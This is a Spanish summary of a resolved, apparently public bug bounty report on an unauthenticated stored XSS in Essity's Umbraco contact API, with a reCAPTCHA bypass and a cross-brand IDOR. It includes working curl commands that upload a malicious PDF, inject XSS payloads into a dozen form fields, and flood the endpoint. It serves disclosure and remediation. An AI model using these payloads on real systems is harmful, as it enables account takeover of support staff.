Reports
CRÍTICA[XSS]#3729501

XSS almacenado sin autenticación en la API de contacto de Essity (Umbraco) con salto de reCAPTCHA

La API pública de contacto de Essity aceptaba tickets sin autenticar con HTML y JavaScript en más de 12 campos, saltándose reCAPTCHA, CSRF y límite de peticiones. El código se ejecutaba en la sesión del operador del back-office de Umbraco.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La API de contacto de Essity, construida sobre Umbraco CMS y ASP.NET Core, exponía dos endpoints (ContactApi.SavePersonalContactExtended y SaveProductContactExtended) que aceptaban tickets de clientes sin autenticación y sin sanear la entrada. Un atacante podía enviar HTML y JavaScript arbitrarios en más de doce campos del formulario. Cuando un operador de atención al cliente abría después el ticket en el back-office de Umbraco, ese código se ejecutaba en su sesión autenticada: un XSS almacenado que abría la puerta a la toma de control de la cuenta del operador.

El problema no era una sola debilidad, sino una cadena de controles que fallaban a la vez. La verificación de reCAPTCHA v2 se hacía solo en el cliente: el servidor aceptaba el parámetro ReCaptcha= vacío. No había token CSRF ni comprobación de Origin/Referer, y la cabecera Access-Control-Allow-Origin: * permitía peticiones desde cualquier origen. Tampoco había límite de peticiones ni validación real de la entrada, incluido el correo electrónico. Además, el parámetro SiteId no se autorizaba, lo que permitía dirigir los tickets a marcas hermanas del grupo.

Los endpoints estaban accesibles en todas las rutas de idioma dentro del alcance (/at, /bg, /cz, /de, /ee, /gr, /hr, /hu, /lt, /lv, /ro, /rs, /ru, /ua) y en la raíz del sitio.

Pasos de reproducción

1. Subir un adjunto malicioso (sin autenticación)

El endpoint SaveAttachment aceptaba archivos sin autenticar y validaba el tipo solo por la extensión, comprobando los magic bytes únicamente para imágenes. Así se podía subir un PDF con una acción JavaScript (OpenAction):

curl -sk \
  -H 'User-Agent: Mozilla/5.0' \
  -e 'https://[REDACTADO]/de/kontakt/' \
  -F 'file=@/tmp/jsx.pdf;type=application/pdf' \
  'https://[REDACTADO]/Umbraco/Api/ContactApi/SaveAttachment'

La respuesta devolvía el identificador del archivo, ya referenciable desde un ticket:

["3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf"]

2. Crear el ticket con la carga XSS

curl -sk \
  -e 'https://[REDACTADO]/de/kontakt/' \
  -X POST 'https://[REDACTADO]/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
  -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \
  --data-urlencode 'SiteId=1896' \
  --data-urlencode 'CultureId=1031' \
  --data-urlencode 'ContactReason=Query' \
  --data-urlencode 'FirstName=<img src=x onerror="alert(document.domain)">' \
  --data-urlencode 'LastName=<svg/onload=alert(document.domain)>' \
  --data-urlencode 'Email=[REDACTADO]' \
  --data-urlencode 'CompareEmail=[REDACTADO]' \
  --data-urlencode 'Message=<script>alert("XSS in Message field")</script>' \
  --data-urlencode 'Phone=<img src=x onerror=alert(1)>' \
  --data-urlencode 'ReCaptcha=' \
  --data-urlencode 'AttachmentFilename[0]=3ef49a63-e18f-40d2-94d6-5289c80f9efd_jsx.pdf'

El servidor respondía con éxito pese al ReCaptcha= vacío y a la ausencia de cookies:

{"success":true,"message":"","log":null,"redirect":false,"redirectUrl":null}

Los campos vulnerables confirmados (12 en total) eran: FirstName, LastName, Email, CompareEmail, Address, City, Country, Message, Phone, Question, ProductConcerned, CoreCode, Store, PageUrl, Referrer, SourceTags y UserAgent.

3. Disparar la ejecución

Cuando un operador de atención al cliente iniciaba sesión en el back-office de Umbraco y abría el ticket para revisarlo, el JavaScript inyectado en cualquiera de los campos se ejecutaba en su sesión autenticada. Como revisar los mensajes entrantes es la función principal del operador, la ejecución del payload estaba prácticamente garantizada.

4. Confirmar la ausencia de límite de peticiones

Ocho envíos consecutivos con ReCaptcha= vacío desde una misma IP, en menos de dos segundos, se completaron todos con éxito:

for i in {1..8}; do
  curl -sk -X POST 'https://[REDACTADO]/Umbraco/Api/ContactApi/SavePersonalContactExtended/' \
    -H 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode "FirstName=ratepoc-$i" \
    --data-urlencode 'Email=[REDACTADO]' \
    --data-urlencode 'SiteId=1896' \
    --data-urlencode 'CultureId=1031' \
    --data-urlencode 'ContactReason=Query' \
    --data-urlencode 'ReCaptcha='
done

Las 8 peticiones devolvieron {"success":true}.

Pivote entre marcas (cross-tenant)

El parámetro SiteId se aceptaba sin comprobar la autorización, y los identificadores de otras marcas podían enumerarse a través de un IDOR en CountryPickerSurface:

curl -sk 'https://[REDACTADO]/umbraco/Surface/CountryPickerSurface/CountryModal?siteId=1901'

Cambiando el SiteId, un atacante que solo interactuaba con un dominio podía inyectar el XSS en el back-office de atención al cliente de cualquier marca hermana del grupo.

Impacto

Al ejecutarse el XSS con los privilegios del operador (roles Editor, Writer, Translator o Administrator), un atacante podía:

  • Robar credenciales de sesión: cookies y tokens anti-CSRF, exfiltrándolos hacia un servidor externo desde la propia sesión del operador.
  • Crear cuentas de administrador invocando los endpoints de gestión de Umbraco en el contexto del operador.
  • Lograr ejecución de código en el servidor (RCE) instalando paquetes de Umbraco con código de servidor, sobre el CMS que servía a más de una decena de marcas.
  • Modificar contenido, datos de miembros o configuración del sitio.

La cabecera Access-Control-Allow-Origin: * sin requerir cookies permitía además ataques drive-by: un anuncio malicioso o una página comprometida podía enviar tickets desde el navegador de cada visitante, ocultando la IP del atacante y, sin límite de peticiones, inundando la cola de tickets en minutos.

La cadena de adjuntos añadía un vector de phishing hacia el personal interno: PDFs con OpenAction en JavaScript, documentos de Office con macros o archivos ZIP con ejecutables llegaban al flujo de trabajo del operador. Por último, los indicadores de consentimiento de marketing (ProvidedConsumerConsents) se aceptaban sin verificación, lo que el investigador señaló como un problema de cumplimiento del RGPD (artículos 7 y 32).

El investigador valoró la vulnerabilidad como crítica, con un CVSS 3.1 de 9.0 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L).

Remediación

El programa marcó el reporte como resuelto. El reporte no detalla las correcciones concretas aplicadas por Essity, pero los controles que fallaban indican las líneas de refuerzo: validar el token de reCAPTCHA en el servidor, sanear y codificar toda la entrada antes de mostrarla en el back-office, exigir token CSRF y comprobación de origen, autorizar el parámetro SiteId, validar los adjuntos por su contenido y aplicar límite de peticiones.